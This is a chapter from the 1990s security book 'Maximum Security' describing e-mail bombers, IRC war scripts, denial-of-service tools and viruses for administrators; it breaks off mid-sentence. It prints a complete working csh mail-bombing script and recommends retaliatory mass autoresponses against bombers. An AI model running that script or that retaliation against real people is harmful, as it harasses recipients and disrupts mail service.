Maximum Security:
A Hacker's Guide to Protecting Your Internet Site and Network
14
Destructive Devices
In this chapter, I examine munitions that I classify as destructive devices.
Destructive devices are software programs or techniques that accomplish either of
the following objectives:
- Harassment
- Destruction of data
These devices are all relatively low-level tools and techniques, more likely to
be employed by immature users, disgruntled employees, or kids. Such tools and techniques
exist, to the chagrin of the serious computing communities, but they exist nonetheless.
It is important that new system administrators (and indeed, average users) know about
such destructive devices, so I have included them here even though they are not front-line
security issues for most networks.
The use of these devices is becoming widespread. With the rise of the GUI (and
the increased availability of programming tools and languages to the general populace),
this trend can only be expected to continue.
NOTE: The average high school student
now has access to C, C++, Pascal, BASIC, and so on. School policies are usually very
strict about students copying such software, but most youngsters pay little attention.
I have a client in Los Angeles whose son has built an enormous collection of programming
tools. He obtained all those programs at his high school. (Young college students
get these software products legally, perhaps, but at the greatly reduced rate for
educational institutions. Therefore, they have ready access, irrespective of how
they acquire such tools.)
It should be noted that destructive devices can be a security risk for small networks
or single servers. If your box is hooked up via Ethernet with a fast connection and
you have only one mail server, an e-mail bomb attack on one of your users could temporarily
grind your machine to a halt.
I have chosen to highlight four key utilities within the destructive device class:
- E-mail bombs and list linking
- Flash bombs and war scripts
- Denial-of-service tools
- Viruses
Of these items, only the last two (denial-of-service tools and viruses) are of
any real consequence. They have the potential for real damage or, equally dangerous,
serious breach of a server's security. (These are discussed in the last half of this
chapter.) The first two, in contrast, have been briefly dealt with in previous chapters.
Here, I take a more comprehensive look at these innocuous but irritating tidbits.
The E-mail Bomb
I cannot say for certain when the first user "e-mail bombed" another.
However, I imagine it wasn't long after e-mail became available. (Old-timers adamantly
dispute this, explaining that they were far too responsible for such primitive activity.
Hmmm.) In any event, in this section you will find the key utilities being distributed
for this purpose.
Up Yours
The Up Yours mail-bombing program is probably the most popular bomber out there.
It uses minimal resources, does a superb job, has a simple user interface, and attempts
to obscure the attacker's source address. Features of the program include being able
to specify times of day to start and stop as well as the number of messages with
which it will hammer the target. Figure 14.1 shows the main screen of Up Yours. (The
author clearly has a lively sense of humor.)
Figure 14.1.
The Up Yours mail-bombing program.
Version 2.0 of this utility was released sometime in March 1997. This bomber runs
only on the Microsoft Windows platform. As you might expect, the tech support is
wanting, but the program is free nonetheless. If you are a system administrator,
you will want to scan your local drives for the following files:
upyours.exe
upyours2.zip
upyours3.zip
If these files appear in a user's directory, there is a strong likelihood that
he is about to e-mail bomb someone (of course, perhaps he simply spends his time
collecting hacking and cracking programs). In any event, the utility is hard to find.
If one of your users has acquired this program, he clearly has an interest in hacking
or cracking.
KaBoom
KaBoom differs significantly from Up Yours. For one thing, KaBoom has increased
functionality. For example, traveling from the opening screen (see Figure 14.2) to
the main program, you find a utility to list link. Using this function, you can subscribe
your target to hundreds of e-mail lists. (Do you remember the case in Chapter 4,
"Just Who Can be Hacked, Anyway?," where a senior editor of Time
magazine was list linked to thousands of mailing lists?)
Figure 14.2.
KaBoom!
NOTE: List linking is a rather insidious
activity and a not-so-subtle form of harassment. It works like this: On the Internet
are mail servers that distribute mail messages collected from various sources. These
messages invariably concentrate on a special-interest subject (the subject of security,
for example). These mail servers (sometimes called list servers) collect such
messages and mail them to members of the list on a daily, weekly, or monthly basis.
Members can subscribe to such a list in several ways, though most commonly through
e-mail. When I say that a target has been list-linked, I mean the target has
been subscribed (without his consent) to one or more mailing lists. This is usually
done with a tool like KaBoom. Such tools submit registration requests on behalf of
the victim, forging his e-mail address.
This utility works quite well, but the interface is poorly programmed. (For example,
the main list window presents the lists as selectable from check boxes. This is shoddy
work. The programmer could have saved time and space by running them through a list
box instead. It takes a lot of work using this utility to link the target to any
significant number of lists; the bombing party is forced to scroll down to obtain
more lists.)
In any event, this utility's signature files are these:
kaboom!3.zip
kaboom3.exe
Avalanche
The Avalanche e-mail bombing utility works smoothly and is well designed. As you
can see in Figure 14.3, the list groups are displayed in a drop-down combo box, and
their individual lists are displayed in a list box. Three clicks of a mouse and your
target is in hot water.
Figure 14.3.
Avalanche.
TIP: The programmer here was a bit absentminded.
The program was written at least in part in Microsoft Visual Basic 4.0. As such,
there are a series of DLL files that are required to run the application. These are
missing from the general distribution of this utility; therefore, serious bombers
must go out onto the Internet to retrieve those files (one is OC2.DLL).
Because of this, I would estimate that Avalanche is probably used less than its counterparts,
even though its overall design is superior. Inconvenience discourages most users
of this particular ilk.
The signature files for this product are
alanch10.zip
avalanche20.zip
avalanche.exe
Unabomber
The Unabomber utility is a rudimentary tool, but one must give the author credit
for humor. As you can see in Figure 14.4, Unabomber offers no list-linking capabilities.
It is essentially a flat e-mail bomber and does no more than send messages over and
over. One interesting element is that Unabomber comes with a help function. (As though
you would actually need it.)
Figure 14.4.
The Unabomber.
The signature files for this utility are
unabomb.zip
unabomb.exe
eXtreme Mail
eXtreme Mail is well programmed. It has all the basic features of a commercial
application, including an interactive installation process. The installation process
performs all the routine checks for disk space, resources, and so forth. It also
observes proper registry conventions and is easily uninstalled. This is a relatively
new mail bomber, and apparently, the name eXtreme is also the name of the group that
produced the software. Figure 14.5 shows eXtreme Mail's main page.
Figure 14.5.
eXtreme Mail.
The signature files for this product are
xmailb1.zip
xmailb1.exe
Homicide
The Homicide utility was written by a youngster with the moniker Frys and
was discontinued in 1996. The author claims that he wrote the utility because Up
Yours 2.0 was inadequate as an e-mail bombing tool. However, with the release of
Up Yours 3.0, Frys apparently decided to discontinue any further releases. As of
March 1997, it is available only at a very few select sites. The signature files
for this utility are
homicide.zip
homicide.exe
The UNIX MailBomb
This UNIX e-mail bomber is reportedly written by CyberGoat, an anonymous cracker
out in the void. The programming is so-so. In fact, the author made no provisions
in the event that the originating server has restrictions on multiple processes.
(Perhaps a sleep call would have been wise.) The signature file on this
one is mailbomb.csh.
#!/bin/csh
# Anonymous Mailbomber
# do chmod u+rwx <filename> where filename is the name of the file that
# you saved it as.
#*** WARNING - THIS WILL CREATE AND DELETE A TEMP FILE CALLED
# "teltemp"
# IN THE DIRECTORY IT IS RUN FROM ****
clear
echo -n "What is the name or address of the smtp server ?"
set server = $<
#echo open $server 25 > teltemp
echo quote helo somewhere.com >> teltemp
#The entry for the following should be a single name (goober),
#not goober@internet.address.
echo -n "Who will this be from (e.g. somebody) ?"
set from = $<
echo quote mail from: $from >> teltemp
echo -n "Who is the lucky recipient (e.g. someone@somewhere) ? "
set name = $<
echo quote rcpt to: $name >> teltemp
echo quote data >> teltemp
echo quote . >> teltemp
echo quote quit >> teltemp
echo quit >> teltemp
echo -n "How many times should it be sent ?"
set amount = $<
set loop_count = 1
while ($loop_count <= $amount)
echo "Done $loop_count"
ftp -n $server 25 < teltemp
@ loop_count++
end
rm ./teltemp
echo $amount e-mails complete to $name from $from@$server
# --------------------
# MailBomb by CyBerGoAT
Bombtrack
The Bombtrack utility is reportedly the first mail-bombing tool written for the
Macintosh platform. (This is of some significance. Programming a garden-variety utility
like this on the Microsoft Windows platform is simple, and can be accomplished almost
entirely with a visual design interface. Very little code needs to go into it. Writing
for the Mac platform, however, is a slightly different affair.)
Basically, Bombtrack is another run-of-the-mill bombing utility, widely available
at hacker sites across the Internet. The signature file for this application is
bombtrack.bin
FlameThrower
FlameThrower is a bombing utility written for Macintosh. Its main purpose is list
linking; it allows the user to subscribe his target to 100 lists. The binary is quite
large, considering its intended purpose. The author should get some credit for style
of design, but Macintosh users are fairly stylish as a rule. The signature for this
file is
flamethrower10b.sit.bin
General Information About E-Mail Bombs
E-mail bombing is nothing more than nuisance material. The cure is generally a
kill file or an exclusionary scheme. An exclusionary scheme is where you bar
entry of packets received from the source address. As discussed in Chapter 13, "Techniques
to Hide One's Identity," obtaining the source address is a fairly simple process,
at least in a UNIX environment. Really, it involves no more than reading the message
in Mail as opposed to Pine or Elm; this will reveal the actual source address and
expand the path. Examining the complete path (even in Netscape Navigator, for example)
will give you the originating mail server.
If you maintain a site and malicious users from the void start bombing you, contact
their postmaster. This is usually quite effective; the user will be counseled that
this behavior is unnecessary and that it will not be tolerated. In most cases, this
proves to be a sufficient deterrent. (Some providers are even harsh enough to terminate
the account then and there.) However, if you are faced with a more difficult situation
(for example, the ISP couldn't care less if its users bombed the Internet collectively),
you might have to take more aggressive measures.
One such measure is to block traffic from the originating network at the router
level. (There are various packet-filtering techniques that you can apply.) However,
if this doesn't suit your needs (or your temperament), there are other, more proactive
solutions. One fine technique that's guaranteed to work is this: Fashion a script
that catches the offending e-mail address each time it connects to your mail server.
For each such connection request, terminate the connection and autorespond with a
polite, 10-page advisory on how such attacks violate acceptable use policies and
that, under certain circumstances, they may violate the law. After the offending
party has received 1,000 or so returns of this nature, his previously unconcerned
provider will bring the offender onto the carpet and promptly chop off his fingers.
There are renegade providers around, and there is absolutely no reason that you
cannot undertake such action. After all, you have done no more than refuse the connection
and issue an advisory. It is hardly your fault if the warning was not heeded. Notwithstanding
various pieces of legislation to bring the Internet into the civilized world, it
is still much like the Old West. If another provider refuses to abide by the law
and generally accepted practices, take it down to the OK Corral. One last point here:
To make this technique especially effective, be sure to CC the postmaster of the
bomber's site with each autorespond message.
NOTE: These aggressive techniques can
only be implemented in the event of a garden-variety mail-bombing situation. This
will not work for list linking because list linking is a process that obscures the
true origin address of the attacker. The only way to obtain that address if is the
list owner (whoever is responsible for the mailing list server) runs logging utilities
and actually keeps those logs.
For example, suppose the list accepts subscription requests from a Web page. It
can easily obtain the address by checking the HTTP server connection log (this file
is normally called access.log). HTTP servers record the originating IP address
of each connection. However, the large majority of lists do not accept subscription
requests through their Web pages. Instead, they use garden-variety mail. The percentage
of system administrators who heavily log connection requests to their mail server
is fairly small. Moreover, to trace the attacker, you would need help from more than
just the system administrator at the mail list site; suppose the attacker was using
a dial-up connection with a dynamically allocated IP address. After you acquire that
IP from the mail-list system administrator, you must convince the attacker's ISP
to cooperate by forwarding its logs to you.
Furthermore, unless the attacker's ISP is running good logging utilities, the
logs you receive will only demonstrate a list of possible suspects (the users who
were logged to that IP or dial-up at the hour of the attack). Even more research
may be required. For this reason, list linking has become far more popular than run-of-the-mill
mail bombing.
IRC: Flash Bombs and War Scripts
Flash utilities (also referred to as flash bombs) belong to a class of
munitions that are used on Internet Relay Chat (IRC). IRC is the last free frontier
because it is spontaneous and uncontrollable. It consists of people chatting endlessly,
from virtual channel to virtual channel. There is no time for advertisements, really,
and even if you tried to push your product there, you would likely be blown off the
channel before you had a chance to say much of anything.
In this respect, IRC is different from any other networked service on the Internet.
IRC is grass roots and revolutionary Internet at its best (and worst), and with all
likelihood, it will remain that way forever.
IRC was developed in Finland in the late 1980s. Some suggest that its purpose
was to replace other networking tools of a similar ilk (for example, the talk service
in UNIX). Talk is a system whereby two individuals can communicate on text-based
terminals. The screens of both users split into two parts, one for received text
and one for sent text. In this respect, talk operates a lot like a direct link between
machines using any of the popular communications packages available on the market
(Qmodem and ProComm Plus are good examples). The major difference is that talk occurs
over the Internet; the connection is bound by e-mail address. For example, to converse
with another party via talk, you issue a command as follows:
talk person@provider.com
This causes the local talk program to contact the remote talk daemon. If the person
is available (and hasn't disabled incoming connections via talk), the screen soon
splits and the conversation begins.
IRC differs from talk in that many people can converse at the same time. This
was a major innovation, and IRC chatting has become one of the most popular methods
of communication on the Net.
NOTE: IRC is one of the few places on
the Internet where an individual can successfully evade even advanced detection techniques.
For instance, many software pirates and crackers frequent IRC. If they are extremely
paranoid, they change servers and screen names every half hour or so. Moreover, they
often create their own channels instead of frequenting those already available. Finally,
file transfers can be done over IRC, directly from point A to point B. No record
is left of such a transfer. This differs from other types of transfers that may be
closely logged. Similar types of transfers can also be made if at least one of the
parties is running servers such as FTP, HTTP, or Gopher. However, IRC allows such
a transfer without server software running on either box.
Internet warfare (that is, "hand-to-hand" combat) often occurs on IRC
because IRC is lawless--a place where almost anything goes. Briefly, it works like
this: Once connected to an IRC server, a user can go into a series of channels called
chat spaces. Inside each channel, there is an operator, or a person
who has some authority--authority, for example, to "kick" any user forwarding
information that the operator deems objectionable. (Kicking is where the target
is bumped from the channel and is forced to reconnect.) The operator can also ban
a user from the channel, either temporarily or semi-permanently.
NOTE: The first person to connect to (or
create) an empty channel is automatically the operator by default. Unless he voluntarily
relinquishes that authority, he has complete control of the channel and can institute
kick or ban actions against anyone who subsequently joins the channel.
As you might expect, people who get kicked or banned often respond angrily. This
is where combat begins. Since the introduction of IRC, dozens of munitions have been
developed for use in IRC combat. They are described in the following sections.
crash.irc
Although not originally designed for it, crash.irc will blow a Netcom
target out of IRC. In other words, an attacker uses this utility to force a Netcom
user from a channel (Netcom is a very large ISP located in northern California).
botkill2.irc
The botkill2.irc script kills bots. Bots are other automated scripts
that run in the IRC environment.
ACME
ACME is a typical "war" script. Its features include flooding (where
you fill the channel with garbage, thereby denying others the ability to communicate)
and the ability to auto-kick someone from a channel.
NOTE: Flooding can deny other users access
simply because of the volume of text run through the server. It works like this:
The attacker unleashes a flooding utility that generates many, many lines of text.
This text is printed across the terminals of all users currently logged to the channel.
Because this text saturates the write-ahead buffer of all client programs, the victims
must wait for the flood to stop before they can type any further messages. Interestingly,
many flood scripts actually fashion images from various text characters. If you watch
such a flood for a moment, you will see some type of image develop. This activity
is similar to ASCII art, which is now a popular form of artistic expression on text-based
terminals that cannot display actual graphics. Of course, flooding is very irritating
and therefore, few users are willing to tolerate it, even if the art that results
is attractive.
Saga
Saga is a sophisticated and complex script; it performs more functions than those
used in combat. The main features are that it can
- Kick and ban a target, for either a specified time period or 30-90 seconds
- Strip an operator of his authoritative status
- Screen out all users from a given domain
- Blow all users from the channel
- Enter a channel and kill all operators (this is called takeover mode)
THUGS
THUGS is another war script. It blows various client programs from IRC, kicks
unwanted users, seizes control of a channel, and hangs at least one known Windows
IRC program.
The 7th Sphere
Another war script worth mentioning is The 7th Sphere. The help file describes
the utility as "An Equal Opportunity Destroyer." Here are some of its capabilities:
- Blow everyone from a channel
- Incisive user flooding (selectively flood only one or more users as opposed to
the entire channel)
- Colliding capabilities (the capability to cause a collision of nicknames on IRC
servers, thereby knocking a user with an identical nickname from IRC)
- Armor (prevents you from falling victim to another war script)
- Nuke facility (enables you to attack and successfully disable those using Windows
IRC clients)
- Built-in port scanner
There are probably several thousand IRC scripts in the void. I have not offered
any locations for these utilities because there is no good reason to provide such
information. These tools may be of some limited value if you happen to be on IRC
and come under attack, but more often, these tools are used to harass others and
deny others IRC service. It is amazing how much good programming effort goes into
utilities like these. Too bad.
Additional Resources
Following are some resources related to Internet Relay Chat (IRC). These are especially
valuable if you are new to IRC. I have provided these primarily because IRC is not
a subject often discussed in books on the Internet. IRC has been--and will likely
remain--the purview of crackers and hackers all over the world.
- The IRC Survival Guide: Talk to the World With Internet Relay Chat. Peachpit
Press. Stuart Harris. ISBN 0-201-41000-1. 1995.
- Learn Internet Relay Chat (Learn Series). Wordware Publishing. Kathryn
Toyer. ISBN 1-55622-519-9. 1996.
- Person to Person on the Internet. AP Professional. Keith Blanton and Diane
Reiner. ISBN 0-12-104245-6. 1996.
- Interactive Internet: The Insider's Guide to Muds, Moos, and IRC. Prima
Publishing. William J. Shefski and Bill Shefski. ISBN 1-55958-748-2. 1995.
- Using Internet Relay Chat. Que. ISBN 0-7897-0020-4. 1995.
- Sunsite, Europe. Comprehensive collection of clients and other software.
- http://sunsite.doc.ic.ac.uk/computing/comms/irc/
- Interactive Synchronous: IRC World. E-Lecture on IRC.
- http://www-home.calumet.yorku.ca/pkelly/www/synch.htm
Denial-of-Service Tools
I examine denial-of-service attacks in a more comprehensive manner at several
points throughout the remainder of this book. Here, I will refrain from discussing
how such attacks are implemented, but will tell you what tools are out there to do
so.
Ancient Chinese "Ping of Death" Technique
The title is hilarious, right? On more than one occasion, this technique for killing
a Windows NT 3.51 server has been so called. (Actually, it is more commonly called
just "Ping of Death.") This is not a program, but a simple technique that
involves sending abnormally large ping packets. When the target receives (or in certain
instances, sends) these large packets, it dies. This results in a blue screen with
error messages from which the machine does not recover. Microsoft has issued a fix
for this.
Cross Reference: Read the official advisory
on the Ping of Death at http://www.microsoft.com/kb/articles/q132/4/70.htm.
Syn_Flooder
Syn_Flooder is a small utility, distributed in C source, that when used against
a UNIX server will temporarily render that server inoperable. It utilizes a standard
technique of flooding the machine with half-open connection requests. The source
is available on the Net, but I will refrain from printing it here. This is a powerful
tool and, other than its research value, it is of no benefit to the Internet community.
Using such a tool is, by the way, a violation of federal law, punishable by a term
of imprisonment. The utility runs on any UNIX machine, but was written on the Linux
platform by a well-known hacker in California.
DNSKiller
DNSKiller is a C program written and intended for execution on the Linux platform.
It is designed to kill the DNS server of a Windows NT 4.0 box.
arnudp100.c
arnudp100.c is a program that forges the IP address of UDP packets and
can be used to implement a denial-of-service attack on UDP ports 7, 13, 19, and 37.
To understand the attack, I recommend examining a paper titled "Defining Strategies
to Protect Against UDP Diagnostic Port Denial of Service Attacks," by Cisco
Systems. Another good source for this information is CERT Advisory CA-96.01.
Cross Reference: Cisco Systems' "Defining
Strategies to Protect Against UDP Diagnostic Port Denial of Service Attacks"
can be found online at http://cio.cisco.com/warp/public/707/3.html.
CERT Advisory CA-96.01 can be found online at ftp://ftp.cert.org/pub/cert_advisories/CA-96.01.UDP_service_denial.
cbcb.c
cbcb.c is the filename for Cancelbot, written in C. This utility can
be used to target Usenet news postings of others. It generates cancel control messages
for each message fitting your criteria. Using this utility, you can make thousands
of Usenet news messages disappear. Although this is not traditionally viewed as a
denial-of-service attack, I have included it here simply because it denies the target
Usenet service, or more directly, denies him his right to self expression. (No matter
how obnoxious his opinion might seem to others.)
win95ping.c
The win95ping.c file is C source code and a program to reproduce and
implement a form of the Ping of Death attack from a UNIX box. It can be used to blow
a machine off the Net temporarily (using the oversized Ping packet technique). There
are two versions: one for Linux, the other for BSD 4.4 systems.
Other resources exist, but most of them are shell scripts written for use on the
UNIX platform. Nevertheless, I would expect that within a few months, tools programmed
in GUI for Windows and Mac will crop up. Denial-of-service (DoS) attacks are infantile
and represent only a slightly higher level of sophistication than e-mail bombing.
The only benefit that comes from DoS attacks is that they will ultimately provide
sufficient incentive for the programming community to completely eliminate the holes
that allowed such attacks in the first place. In all other respects, denial-of-service
attacks are neither interesting nor particularly clever. In any event, the following
sections list some resources for them.
ANS Communications
Products by ANS Communications are designed to thwart DoS attacks. ANS Communications
can be found online at
Berkeley Software Design, Inc.
Berkeley Software Design, Inc. released source code that will defeat a DoS attack.
It can be found online at
MCI Security
MCI Security offers links relating to denial-of-service attacks, and can be found
online at
Digital
Digital offers information on preventing DoS on the DEC platform, and can be found
online at
Cisco Systems
Cisco Systems offers solutions at the router level, and can be found online at
Viruses
Viruses are serious matters. For such small entities, they can wreak havoc on
a computer system. (Some viruses are as small as 380 bytes.) They are especially
dangerous when released into networked environments (the Internet being one such
environment).
Viruses have gained so much attention in the computing community that nearly everyone
knows that viruses exist. However, some users confuse viruses with other malicious
files. Therefore, I thought it might be nice to quickly define the term computer
virus. Once again, if you are already well aware of these basic facts, skip ahead
a few paragraphs.
A computer virus is a program, sometimes (but not necessarily) destructive, that
is designed to travel from machine to machine, "infecting" each one along
the way. This infection usually involves the virus attaching itself to other
files.
This is markedly different from a trojan horse. A trojan horse is a static entity:
malicious code nested within an otherwise harmless program. Trojans cannot travel
from machine to machine unless the file that contains the trojan also travels with
it. A trojan is commonly a string of computer code that has been surreptitiously
placed within a trusted application. That code performs an unauthorized and hidden
function, one that the user would almost certainly find objectionable. (For example,
mailing out the password files to an attacker in the void, or perhaps opening a back
door for him. A back door is some hidden method through which an attacker
can later return to the affected machine and gain control over it.)
Viruses, in contrast, replicate. Most often, this phenomenon manifests
itself by the virus attaching itself to a certain class of file. For example, it
is very common for viruses to attach themselves to executable files. (On the DOS/Windows
platform, viruses frequently target EXE and COM files.) Once the virus is attached
to a file in this manner, the victim file itself becomes a security risk. That file,
when transported to another computer system, can infect still other files that may
never come in contact with the original virus program.
TIP: Note that data file viruses now exist.
At least, macro viruses should (and usually are) classified under this heading. These
viruses infect data files, namely documents. These are almost nonexistent, save in
the Microsoft Word and Excel environments.
Try to think of a virus as a living creature for a moment. Its purpose is to infect
computer systems, so it stays awake at all times, listening for activity on the system.
When that activity fits a certain criterion (for example, an executable file executing),
the virus jumps into action, attaching itself to the active program.
TIP: One way to tell whether a file is
infected is to check its current size against the size it was when you installed
it. (I wouldn't recommend using this as a method of identifying infected files, but
if you find such a file using a virus checker, note the size. When you match it against
the original size of the file, you will see that the file is now larger.) By subtracting
the size of the virus from the file's size, you will be left with the approximate
original size of the file (before it was infected).
If you have ever encountered a virus, you might have noticed that they are incredibly
small (that is, for a program that can do so much). There is a good reason for this.
Most viruses are written in a language called assembly language. Assembly
language is classified in the computing community as a low-level language,
meaning that it produces very small programs.
To understand what I mean by "low-level," consider this: Computers have
become quite user friendly. Today, advanced technologies allow a user to almost "talk"
to a machine and get suitable answers. (Consider, for example, the new Answer wizards
in Microsoft products. You can basically type out a question in plain English. The
internal program routines parse your question and search the database, and out comes
the answer.) This is quite a parlor trick, and gives the illusion that the machine
is conversing with you.
In reality, computers speak a language all their own. It is called machine
language, and it consists of numbers and code that are unreadable by a human
being. The classification of a "low" or "high" language depends
solely on how close (or how far) that language is from machine language. A high-
or medium-level language is one that involves the use of plain English and math,
expressed much in the same manner as you might present it to a human being. BASIC,
Pascal, and the C programming language all fit into the medium-level class of language:
You can "tell" the machine what each function is, what it does, and how
it does it.
Assembly language is only one step removed from machine language and is therefore
a very low-level language. And, because it speaks so directly to the machine's hardware,
the resulting programs are very small. (In other words, the translation process is
minimal. This is greatly different from C, where substantial translation must occur
to get the plain English into machine-readable code. The less translation that has
to be done, the smaller the binary that results.)
Cross Reference: If you want to learn
more about Assembly Language, there is an excellent page on the Web that sports a
search engine through which you can incisively search terms, functions and definitions.
That site is http://udgftp.cencar.udg.mx/ingles/tutor/Assembler.html.
Programs written in assembly language execute with great speed, often many times
faster than those written in higher-level languages. So, viruses are small, fast,
and, to users who are unprepared, difficult to detect.
There are many different types of viruses, but one of the most critical is the
boot sector virus. To get you started on understanding how viruses work, I have picked
the boot sector virus as a model.
Many users are unaware of how their hard disk drive works in conjunction with
the rest of the system. I want to explore that process for just a moment. Please
examine Figure 14.6.
Figure 14.6.
Location of the master boot record.
Hard disks drives rely upon data stored in the master boot record (MBR) to perform
basic boot procedures. The MBR is located at cylinder 0, head 0, sector 1. (Or, Logical
Block Address 0. LBA methods of addressing vary slightly from conventional addressing;
Sector 1=LBA 0.)
For such a small area of the disk, the MBR performs a vital function: It explains
the characteristics of the disk to every other program that happens by. To do this,
it stores information regarding the structure of the disk. This information is referred
to as the partition table.
NOTE: If this sounds confusing, think
about when you partition a disk. DOS/Windows users do this using a program called
FDISK.EXE. UNIX users also have several similar utilities, including fdisk,
cfdisk, and so on. Before partitioning a disk, it is customary to examine
the partition table data. (At least, you will if you want to be safe!) These programs
read the partition information from the MBR partition table. This information characteristically
tells you how many partitions there are, their size, and so forth. (UNIX users will
even see the type of partition. DOS/Windows users cannot identify partitions
not commonly used on the AT platform. Whenever these are present, the type is listed
as UNKNOWN.)
When a machine boots up, it proceeds, assuming that the CMOS settings are correct.
These values are read and double-checked. If it finds that the default boot disk
is actually 1GB when the BIOS settings suggest 500MB, there will be a problem. (The
machine will not boot, and an error message will be generated.) Similarly, the RAM
is tested for bad memory addresses. Eventually, when no errors have been encountered,
the actual boot process begins. At that stage, the MBR takes the helm and the disk
boots. When the boot sector has been infected by a virus, a critical situation develops.
As explained by the specialists at McAfee, the leading virus protection vendor:
- Master Boot Record/Boot Sector (MBR/BS) infectors are those viruses that infect
the MBR and/or boot sector of hard drives and the boot sector of floppy diskettes.
These viruses are the most successful viruses in the world. This is because they
are fairly simple to write, they take control of the machine at a very low level,
and are often "stealthy." Eighty percent of the calls McAfee Support receives
are on this type of virus.
Cross Reference: The previous paragraph
is excerpted from an article titled "Top Master Boot Record/Boot Sector Infecting
Viruses," produced by McAfee Associates. This paper can be found online at http://www.mcafee.com/support/techdocs/vinfo/1101.html.
MBR viruses are particularly insidious because they attack floppy disks whenever
they are accessed by your machine. It is for this reason that MBR viruses are so
commonly seen in the wild--because they infect floppies, they can travel from machine
to machine fairly easily.
In any event, assume for the moment that you have a "clean" MBR. How
does a virus manage to infect it? The infection process happens when you boot with
an infected floppy diskette. Consider this situation: You decide that you are going
to load a new operating system onto the drive. To do this, you use a boot floppy.
(This boot floppy will contain a small boot routine that guides you through the installation.)
Fine. Take a look at Figure 14.7.
Figure 14.7.
The infection illustrated.
During the boot process, the virus loads itself into memory, although generally
not the upper memory. In fact, very few viruses are known to reside in upper memory.
When one does, it is usually because it has piggybacked its way there; in
other words, it has attached itself to an executable or a driver that always loads
high. This is rare.
Once loaded into memory, the virus reads the MBR partition information. In some
cases, the virus programmer has added a routine that will check for previous infection
of the MBR. It checks for infection not only by his own virus, but by someone else's
as well. This procedure is usually limited in scope, because the programmer wants
to save resources. A virus that could check for many other viruses before installing
would characteristically be larger, more easily detected, less easily transmitted,
and so forth. In any event, the virus then replaces the MBR information with its
own, modified version. The installation procedure is complete.
NOTE: The majority of boot sector viruses
also contain some provision for storing the original MBR elsewhere on the drive.
There is a good reason for this. It isn't because the virus programmer is a nice
person and intends to eventually return the MBR to its original state. Rather, it
is because he has to. Many important functions require that the MBR be read on initialization.
Typically, a virus will keep a copy of the original and offer it up whenever other
processes request it. In this way, the virus remains hidden because these functions
are never alerted to the fact that the MBR was in any way altered. Sneaky, right?
When this technique is used correctly, it is referred to as stealth.
I have personal experience with just such a virus, called antiexe. A friend came
to my office so I could assist him in preparing a presentation. He brought with him
a small laptop that had been used at his company. Apparently, one of the employees
had been playing a game on the laptop that required a boot disk. (Some games have
strange memory-management routines that are not compatible with various user configurations.
These typically request that you generate a boot disk and undertake other annoying
procedures.) Through a series of unfortunate events, this virus was transferred from
that laptop to one of my machines. The curious thing is this: I did have a terminate-and-stay-resident
(TSR) virus checker installed on the infected machine. This was a well-known product,
but I will not mention its name here lest I cause a panic. For some inexplicable
reason, the TSR virus checker did not catch antiexe when it infected my MBR, but
only after the machine was rebooted a day or so later. At any rate, I woke to find
that my machine had been infected. Antiexe is described in the CIAC database as follows:
- The virus hides in the boot sector of a floppy disk and moves the actual boot
sector to cyl: 0, side: 1, sector: 15. On the hard disk, the virus infects the partition
table, the actual partition table is on cyl: 0, side: 0, sector: 13. These are normally
unused sectors, so disk data is not compromised by the virus insertion. The virus
uses stealth methods to intercept disk accesses for the partition table and replaces
them with the actual partition table instead of the virus code. You must boot a system
without the virus in memory to see the actual virus code.
It was no problem to eliminate the virus. The same product that initially failed
to detect antiexe destroyed it without event. The time I lost as a result was minimal.
Most viruses do not actually destroy data; they simply infect disks or files.
There are, however, many occasions on which infection alone is enough to disrupt
service; for example, some drivers operate erratically when infected. This is not
to say, however, that there are no destructive viruses.
Who writes viruses? Many different types of programmers from many different walks
of life. Kids are a common source. There are kits floating around on the Internet
that will assist budding programmers in creating viruses. It has been theorized that
young people sometimes write viruses to "make their mark" on the computing
communities. Because these young people do not actually work in computer programming,
they figure that writing a virus is one way to make a name for themselves. (A good
percentage of virus authors take a pseudonym or "handle" and write under
that. This moniker is sometimes found within the code of the virus.)
Cross Reference: There is a fascinating
paper on the Internet regarding the rise of virus- development groups in Eastern
Europe that describes how the virus took these programming communities by storm.
Ultimately, bulletin board systems were established where virus authors could exchange
code and ideas. The paper is extremely thorough and makes for absorbing reading,
giving a bird's eye view of virus development in a noncapitalist environment. It
is called "The Bulgarian and Soviet Virus Factories"; it was written by
Vesselin Bontchev, Director of the Laboratory of Computer Virology at the Bulgarian
Academy of Sciences in Sofia, Bulgaria. The paper can be found at http://www.drsolomon.com/ftp/papers/factory.txt.
One interesting aspect of the virus-writing community is that vanity, envy, and
fierce competition often influence the way such viruses are written. For example:
- Some computer viruses are designed to work not only in a "virgin" environment
of infectable programs, but also on systems that include anti-virus software and
even other computer viruses. In order to survive successfully in such environments,
those viruses contain mechanisms to disable and/or remove the said anti-virus programs
and "competitor" viruses. Examples for such viruses in the IBM PC environment
are Den_Zuko (removes the Brain virus and replaces it with itself), Yankee_Doodle
(the newer versions are able to locate the older ones and "upgrade" the
infected files by removing the older version of the virus and replacing it with the
newer one), Neuroquila (disables several anti-virus programs), and several other
viruses.
Cross Reference: The preceding paragraph
is excerpted from an article by Vesselin Bontchev (a research associate at the Virus
Test Center at the University of Hamburg) titled "Are `Good' Computer Viruses
Still a Bad Idea?" This paper can be found online at http://www.virusbtn.com/OtherPapers/GoodVir/.
As I have already noted, many programmers develop viruses using virus kits,
or applications that are designed specifically to generate virus code. These kits
are circulated on the Internet. Here are the names of a few:
- Virus Creation Laboratories
- Virus Factory
- Virus Creation 2000
- Virus Construction Set
- The Windows Virus Engine
These kits are usually quite easy to use, thereby allowing almost anyone to create
a virus. (This is in contrast to the "old days," when advanced programming
knowledge was required.) This has resulted in an increase in viruses in the wild.
NOTE: A virus is deemed in the wild
when it has escaped or been released into the general population. That is, the
wild refers to any computing environment outside the academic or development
environment where the virus was created and tested. This term is purportedly derived
from lingo used in reference to environments where biological warfare experiments
are conducted. These studies are typically conducted under controlled circumstances,
where no danger is posed to the surrounding communities. However, when a biological
virus escapes its controlled environment, it is deemed to have entered the wild.
Today, computer virus researchers refer to the Internet (or any publicly accessible
computing environment) as the wild.
Reportedly, the first virus ever detected in the wild emerged in 1986. It was
called the Brain virus. According to the CIAC Virus Database at the U.S. Department
of Energy, the Brain virus was a memory-resident boot sector virus:
- This virus only infects the boot sectors of 360 KB floppy disks. It does no malicious
damage, but bugs in the virus code can cause loss of data by scrambling data on diskette
files or by scrambling the File Allocation Table. It does not tend to spread in a
hard disk environment.
The following year brought with it a host of different viruses, including some
that did actual damage. The Merrit virus (which emerged in 1987) could destroy the
file allocation table (FAT) on a floppy disk. This virus apparently went through
